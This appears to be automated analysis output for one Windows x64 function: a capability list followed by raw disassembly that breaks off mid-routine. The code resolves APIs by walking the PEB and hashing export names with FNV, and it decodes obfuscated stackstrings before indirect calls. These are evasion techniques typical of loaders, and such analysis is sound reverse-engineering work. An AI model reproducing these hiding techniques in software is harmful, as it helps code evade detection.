Function at 0x140013200
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14012d240]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor eax, eax
mov qword [rbp - 0x50], rax
mov r15d, eax
mov r14d, 0xe3a873be
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140013447
cmp word [rax + 0x48], 0
je 0x140013447
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x1400132d3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0xbfa98b4c
cmp r9, rbx
je 0x1400132ca
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x1400132a0
cmp r10d, r15d
jne 0x140013447
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x140013447
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140013447
mov r8d, dword [rdi + 0x1c]
add r8, r11
mov qword [rbp - 0x40], r8
mov ecx, dword [rdi + 0x24]
add rcx, r11
mov qword [rbp - 0x60], rcx
mov r9d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov esi, dword [r8 + rcx*4]
add rsi, r11
mov qword [rbp - 0x70], rsi
lea rcx, [r9 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rsi, rdi
jbe 0x14001334f
lea rcx, [rdi + r13]
cmp rsi, rcx
jae 0x14001334f
mov r12b, 1
jmp 0x140013352
xor r12b, r12b
mov r10d, 0xbfa98b4c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14001339b
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140013370
cmp r10d, r14d
je 0x1400133bc
test ebx, ebx
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
mov r9d, dword [rdi + 0x20]
jne 0x140013320
mov rax, qword [rax]
jmp 0x140013252
test r12b, r12b
je 0x14001344f
mov r15d, 0xbfa98b4c
mov r14d, r15d
movzx edx, byte [rsi]
cmp dl, 0x2e
je 0x140013406
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc rsi
movzx edx, byte [rsi]
cmp dl, 0x2e
jne 0x1400133e0
inc rsi
movzx edx, byte [rsi]
test dl, dl
je 0x140013436
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea rsi, [rsi + 1]
movzx edx, byte [rsi]
test dl, dl
jne 0x140013410
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140013252
mov al, 0x59
mov dl, 0x5a
mov r8b, 0x97
mov r9b, 0x65
mov r10b, 0xa7
movzx r11d, r10b
mov bl, 0xa4
mov dil, 0x93
mov r14b, 0x98
mov r15b, 0x99
mov r12b, 0xfa
xor r13d, r13d
mov qword [rbp - 0x25], r13
mov dword [rbp - 0x1d], r13d
movzx ecx, al
movzx eax, cl
and al, 0x5e
add al, al
sub cl, al
sub cl, 0x34
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x5f
add al, al
sub cl, al
sub cl, 0x33
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x60
add al, al
sub cl, al
sub cl, 0x32
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x61
add al, al
sub cl, al
sub cl, 0x31
mov byte [rbp - 0x2d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x62
add al, al
sub cl, al
sub cl, 0x30
mov byte [rbp - 0x2c], cl
mov ecx, r11d
movzx eax, r11b
and al, 0x63
add al, al
sub cl, al
sub cl, 0x2f
mov byte [rbp - 0x2b], cl
movzx ecx, bl
movzx eax, cl
and al, 0x64
add al, al
sub cl, al
sub cl, 0x2e
mov byte [rbp - 0x2a], cl
movzx ecx, dil
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x2d
mov byte [rbp - 0x29], cl
movzx ecx, r14b
movzx eax, cl
and al, 0x66
add al, al
sub cl, al
sub cl, 0x2c
mov byte [rbp - 0x28], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x67
add al, al
sub cl, al
sub cl, 0x2b
mov byte [rbp - 0x27], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x68
add al, al
sub cl, al
sub cl, 0x2a
mov byte [rbp - 0x26], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x69
add al, al
sub cl, al
sub cl, 0x29
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x6a
add al, al
sub cl, al
sub cl, 0x28
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x6b
add al, al
sub cl, al
sub cl, 0x27
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x6c
add al, al
sub cl, al
sub cl, 0x26
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x6d
add al, al
sub cl, al
sub cl, 0x25
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x6e
add al, al
sub cl, al
sub cl, 0x24
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x6f
add al, al
sub cl, al
sub cl, 0x23
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x70
add al, al
sub cl, al
sub cl, 0x22
mov byte [rbp - 0x1e], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x71
add al, al
sub cl, al
sub cl, 0x21
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x72
add al, al
sub cl, al
sub cl, 0x20
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x73
add al, al
sub cl, al
sub cl, 0x1f
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x74
add al, al
sub cl, al
sub cl, 0x1e
mov byte [rbp - 0x1a], cl
movzx ecx, r13b
mov eax, ecx
movabs rdx, 0x92bee55d79c54d75
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x6e
mov byte [rbp - 0x19], cl
lea rcx, [rbp - 0x30]
call rsi
mov al, 0xc9
mov r8b, 0xcc
mov r9b, 0xcf
mov r10b, 0x30
mov r11b, 0x36
mov bl, 0xb
mov dil, 0xc2
mov r14b, 0xcb
mov r15b, 0xc4
mov r12b, 0x69
mov dword [rbp - 0x26], r13d
mov word [rbp - 0x22], r13w
movzx edx, al
movzx eax, dl
and al, 0x50
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
add cl, 0x21
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x52
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
add cl, 0x23
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x54
mov ecx, sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, bl
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
add cl, 0x25
mov byte [rbp - 0x2b], cl
movzx edx, dil
movzx eax, dl
and al, 0x56
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, r14b
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
add cl, 0x27
mov byte [rbp - 0x29], cl
movzx edx, r15b
movzx eax, dl
and al, 0x58
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
add cl, 0x29
mov byte [rbp - 0x27], cl
movzx edx, r13b
movzx eax, dl
and al, 0x5a
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
add cl, 0x2b
mov byte [rbp - 0x25], cl
movzx edx, byte [rbp - 0x24]
movzx eax, dl
and al, 0x5c
mov ebx, 0x16
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
add cl, 0x2d
mov byte [rbp - 0x23], cl
movzx edx, r13b
movzx eax, dl
and al, 0x5e
mov ecx, 0x17
mov dword [rbp - 0x60], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x5f
add al, al
sub cl, al
add cl, 0x2f
mov byte [rbp - 0x21], cl
movzx ecx, r13b
mov eax, ecx
movabs rdx, 0x39c2e11f1a49ac60
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, r10b
mov byte [rbp - 0x20], cl
lea rcx, [rbp - 0x30]
call rsi
mov al, 0xf9
mov r8b, 0xe5
mov r9b, 0xd4
mov r10b, 0xfa
mov r11b, 0xe4
mov dil, 0xec
mov r14b, 0x25
movzx r15d, r14b
mov r12b, 0x26
mov r13b, 0xed
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x23], rcx
mov dword [rbp - 0x1b], ecx
mov word [rbp - 0x17], cx
movzx edx, al
movzx eax, dl
and al, 0x74
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x75
add al, al
sub cl, al
add cl, 0x49
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x76
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x77
add al, al
sub cl, al
add cl, 0x4b
mov byte [rbp - 0x2d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x78
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, dil
movzx eax, cl
and al, 0x79
add al, al
sub cl, al
add cl, 0x4d
mov byte [rbp - 0x2b], cl
movzx edx, r14b
movzx eax, dl
and al, 0x7a
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
mov ecx, r15d
movzx eax, r15b
and al, 0x7b
add al, al
sub cl, al
add cl, 0x4f
mov byte [rbp - 0x29], cl
movzx edx, r12b
movzx eax, dl
and al, 0x7c
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x7d
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x27], cl
mov al, 0xe6
movzx edx, al
movzx eax, dl
and al, 0x7e
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
mov al, 0xe7
movzx ecx, al
movzx eax, cl
and al, 0x7f
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0x25], cl
mov al, 0xac
movzx edx, al
movzx eax, dl
and al, 0x80
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
mov r8, qword [rbp - 0x40]
movzx ecx, r8b
movzx eax, cl
and al, 0x81
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0x23], cl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0x82
mov r12d, 0x2b
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x83
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0x21], cl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, 0x84
mov r14d, 0x2c
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x85
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 0x1f], cl
movzx edx, byte [rbp - 0x1e]
movzx eax, dl
and al, 0x86
mov r13d, 0x2d
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x87
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 0x1d], cl
movzx edx, byte [rbp - 0x1c]
movzx eax, dl
and al, 0x88
mov r15d, 0x2e
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x89
add al, al
sub cl, al
add cl, 0x5d
mov byte [rbp - 0x1b], cl
movzx edx, byte [rbp - 0x1a]
movzx eax, dl
and al, 0x8a
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0x8b
add al, al
sub cl, al
add cl, 0x5f
mov byte [rbp - 0x19], cl
movzx edx, byte [rbp - 0x18]
movzx eax, dl
and al, 0x8c
mov edi, 0x30
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x18], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x8d
add al, al
sub cl, al
add cl, 0x61
mov byte [rbp - 0x17], cl
movzx edx, byte [rbp - 0x16]
movzx eax, dl
and al, 0x8e
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x16], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x5f8827b59b0bb48f
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, r14b
mov byte [rbp - 0x15], cl
lea rcx, [rbp - 0x30]
call rsi
movzx eax, r12b
mov dl, 0x39
mov r8b, 0x34
mov r9b, 0x2a
mov r10b, 0xc1
mov r11b, 0x4d
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x24], rcx
mov dword [rbp - 0x1c], ecx
mov ecx, eax
and al, 0x3b
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x3d
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x3e
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0x2d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x3f
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0x2c], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rbp - 0x2b], cl
mov al, 0x47
movzx ecx, al
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rbp - 0x2a], cl
mov al, 0x89
movzx ecx, al
movzx eax, cl
and al, 0x42
add al, al
sub cl, al
sub cl, 0x5b
mov byte [rbp - 0x29], cl
mov al, 0x42
movzx ecx, al
movzx eax, cl
and al, 0x43
add al, al
sub cl, al
sub cl, 0x5a
mov byte [rbp - 0x28], cl
movzx eax, r11b
mov ecx, eax
and al, 0x44
add al, al
sub cl, al
sub cl, 0x59
mov byte [rbp - 0x27], cl
mov al, 0x4c
movzx ecx, al
movzx eax, cl
and al, 0x45
add al, al
sub cl, al
sub cl, 0x58
mov byte [rbp - 0x26], cl
mov al, 0xdb
movzx ecx, al
movzx eax, cl
and al, 0x46
add al, al
sub cl, al
sub cl, 0x57
mov byte [rbp - 0x25], cl
mov rdx, qword [rbp - 0x40]
movzx ecx, dl
movzx eax, cl
and al, 0x47
add al, al
sub cl, al
sub cl, 0x56
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x48
add al, al
sub cl, al
sub cl, 0x55
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
sub cl, 0x54
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x4a
add al, al
sub cl, al
sub cl, 0x53
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
sub cl, 0x52
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x4c
add al, al
sub cl, al
sub cl, 0x51
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x50
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x4e
add al, al
sub cl, al
sub cl, 0x4f
mov byte [rbp - 0x1d], cl
movzx ecx, dl
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
sub cl, 0x4e
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x50
add al, al
sub cl, al
sub cl, r11b
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
sub cl, 0x4c
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
mov eax, ecx
movabs rdx, 0xbab78e0bef280252
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x63
mov byte [rbp - 0x19], cl
lea rcx, [rbp - 0x30]
call rsi
mov al, 0xe3
mov dl, 0xf5
mov r8b, 0xf7
mov r9b, 0xff
mov r10b, 0xfc
mov r11b, 0xa6
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x24], ecx
mov word [rbp - 0x20], cx
movzx ecx, al
movzx eax, cl
and al, 0x32
add al, al
sub cl, al
sub cl, r14b
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x33
add al, al
sub cl, al
sub cl, r12b
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x34
add al, al
sub cl, al
sub cl, 0x2a
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x35
add al, al
sub cl, al
sub cl, 0x29
mov byte [rbp - 0x2d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x36
add al, al
sub cl, al
sub cl, 0x28
mov byte [rbp - 0x2c], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x37
add al, al
sub cl, al
sub cl, 0x27
mov byte [rbp - 0x2b], cl
mov al, 0xa8
movzx ecx, al
movzx eax, cl
and al, 0x38
add al, al
sub cl, al
sub cl, 0x26
mov byte [rbp - 0x2a], cl
mov al, 0xb5
movzx ecx, al
movzx eax, cl
and al, 0x39
add al, al
sub cl, al
sub cl, 0x25
mov byte [rbp - 0x29], cl
mov al, 0xf8
movzx ecx, al
movzx eax, cl
and al, 0x3a
add al, al
sub cl, al
sub cl, 0x24
mov byte [rbp - 0x28], cl
mov al, 0xf1
movzx ecx, al
movzx eax, cl
and al, 0x3b
add al, al
sub cl, al
sub cl, 0x23
mov byte [rbp - 0x27], cl
mov al, 0xf6
movzx ecx, al
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 0x22
mov byte [rbp - 0x26], cl
mov al, 0x63
movzx ecx, al
movzx eax, cl
and al, 0x3d
add al, al
sub cl, al
sub cl, 0x21
mov byte [rbp - 0x25], cl
mov rdx, qword [rbp - 0x40]
movzx ecx, dl
movzx eax, cl
and al, 0x3e
add al, al
sub cl, al
sub cl, 0x20
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x3f
add al, al
sub cl, al
sub cl, 0x1f
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 0x1e
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
sub cl, 0x1d
mov byte [rbp - 0x21], cl
movzx ecx, dl
movzx eax, cl
and al, 0x42
add al, al
sub cl, al
sub cl, 0x1c
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
mov eax, ecx
movabs rdx, 0xf63648072df52943
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x5e
mov byte [rbp - 0x1f], cl
lea rcx, [rbp - 0x30]
call rsi
mov al, 0xa7
mov r8b, 0xaa
mov r9b, 0xe8
mov r10b, 0xbc
mov r11b, 0x17
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x25], rcx
mov dword [rbp - 0x1d], ecx
movzx edx, al
movzx eax, dl
and al, 0xfc
mov esi, recv
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
add cl, 0x19
mov byte [rbp - 0x2f], cl
movzx edx, r9b
movzx eax, dl
and al, 0xfe
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, r10b
mov eax, 0x1b
sub al, cl
mov byte [rbp - 0x2d], al
movzx eax, r11b
add al, 0x1c
mov byte [rbp - 0x2c], al
movzx eax, r11b
mov ecx, eax
and al, 1
add al, al
sub cl, al
add cl, 0x1d
mov byte [rbp - 0x2b], cl
mov al, reloc.WS2_32.dll_recv
movzx edx, al
movzx eax, dl
and al, 2
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
mov al, 0x4b
movzx ecx, al
movzx eax, cl
and al, 3
add al, al
sub cl, al
add cl, 0x1f
mov byte [rbp - 0x29], cl
mov al, 0x54
movzx edx, al
movzx eax, dl
and al, 4
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
mov al, 0x55
movzx ecx, al
movzx eax, cl
and al, 5
add al, al
sub cl, al
add cl, 0x21
mov byte [rbp - 0x27], cl
mov al, 0xe2
movzx edx, al
movzx eax, dl
and al, 6
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
mov r8, qword [rbp - 0x40]
movzx ecx, r8b
movzx eax, cl
and al, 7
add al, al
sub cl, al
add cl, 0x23
mov byte [rbp - 0x25], cl
movzx edx, byte [rbp - 0x24]
movzx eax, dl
and al, 8
mov ecx, sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 9
add al, al
sub cl, al
add cl, 0x25
mov byte [rbp - 0x23], cl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0xa
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0xb
add al, al
sub cl, al
add cl, 0x27
mov byte [rbp - 0x21], cl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0xd
add al, al
sub cl, al
add cl, 0x29
mov byte [rbp - 0x1f], cl
movzx edx, byte [rbp - 0x1e]
movzx eax, dl
and al, 0xe
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xf
add al, al
sub cl, al
add cl, r12b
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x10
sub bl, al
add bl, bl
add bl, cl
mov byte [rbp - 0x1c], bl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x11
add al, al
sub cl, al
add cl, r13b
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
mov eax, ecx
movabs rdx, 0xd6f3944b708b1c12
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x1c
mov byte [rbp - 0x1a], cl
lea rcx, [rbp - 0x30]
mov rbx, qword [rbp - 0x70]
call rbx
mov al, 0xc8
mov dl, 0x9a
mov r8b, 0xd6
mov r9b, 0x8a
mov r10b, 0x82
mov r11b, 0xd5
xor ecx, ecx
mov qword [rbp - 0x27], rcx
movzx ecx, al
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
sub cl, 0x54
mov byte [rbp - 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x8f
add al, al
sub cl, al
sub cl, 0x53
mov byte [rbp - 0x2f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x90
add al, al
sub cl, al
sub cl, 0x52
mov byte [rbp - 0x2e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x91
add al, al
sub cl, al
sub cl, 0x51
mov byte [rbp - 0x2d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x92
add al, al
sub cl, al
sub cl, 0x50
mov byte [rbp - 0x2c], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x93
add al, al
sub cl, al
sub cl, 0x4f
mov byte [rbp - 0x2b], cl
mov al, 0xda
movzx ecx, al
movzx eax, cl
and al, 0x94
add al, al
sub cl, al
sub cl, 0x4e
mov byte [rbp - 0x2a], cl
mov al, 0xdb
movzx ecx, al
movzx eax, cl
and al, 0x95
add al, al
sub cl, al
sub cl, 0x4d
mov byte [rbp - 0x29], cl
mov al, 0x74
movzx ecx, al
movzx eax, cl
and al, 0x96
add al, al
sub cl, al
sub cl, 0x4c
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0x97
add al, al
sub cl, al
sub cl, 0x4b
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0x98
add al, al
sub cl, al
sub cl, 0x4a
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0x99
add al, al
sub cl, al
sub cl, 0x49
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x48
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x9b
add al, al
sub cl, al
sub cl, 0x47
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x9c
add al, al
sub cl, al
sub cl, 0x46
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x9d
add al, al
sub cl, al
sub cl, 0x45
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
mov eax, ecx
movabs rdx, 0x17304bd955e2329e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x1e
mov byte [rbp - 0x20], cl
lea rcx, [rbp - 0x30]
call rbx
mov al, 0x6a
mov dl, 0x7d
mov r8b, WSAGetLastError
mov r9b, 0x74
mov r10b, 0xb0
movzx r11d, r8b
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 0x40], rcx
movups xmmword [rbp - 0x27], xmm0
mov word [rbp - 0x17], cx
movzx ecx, al
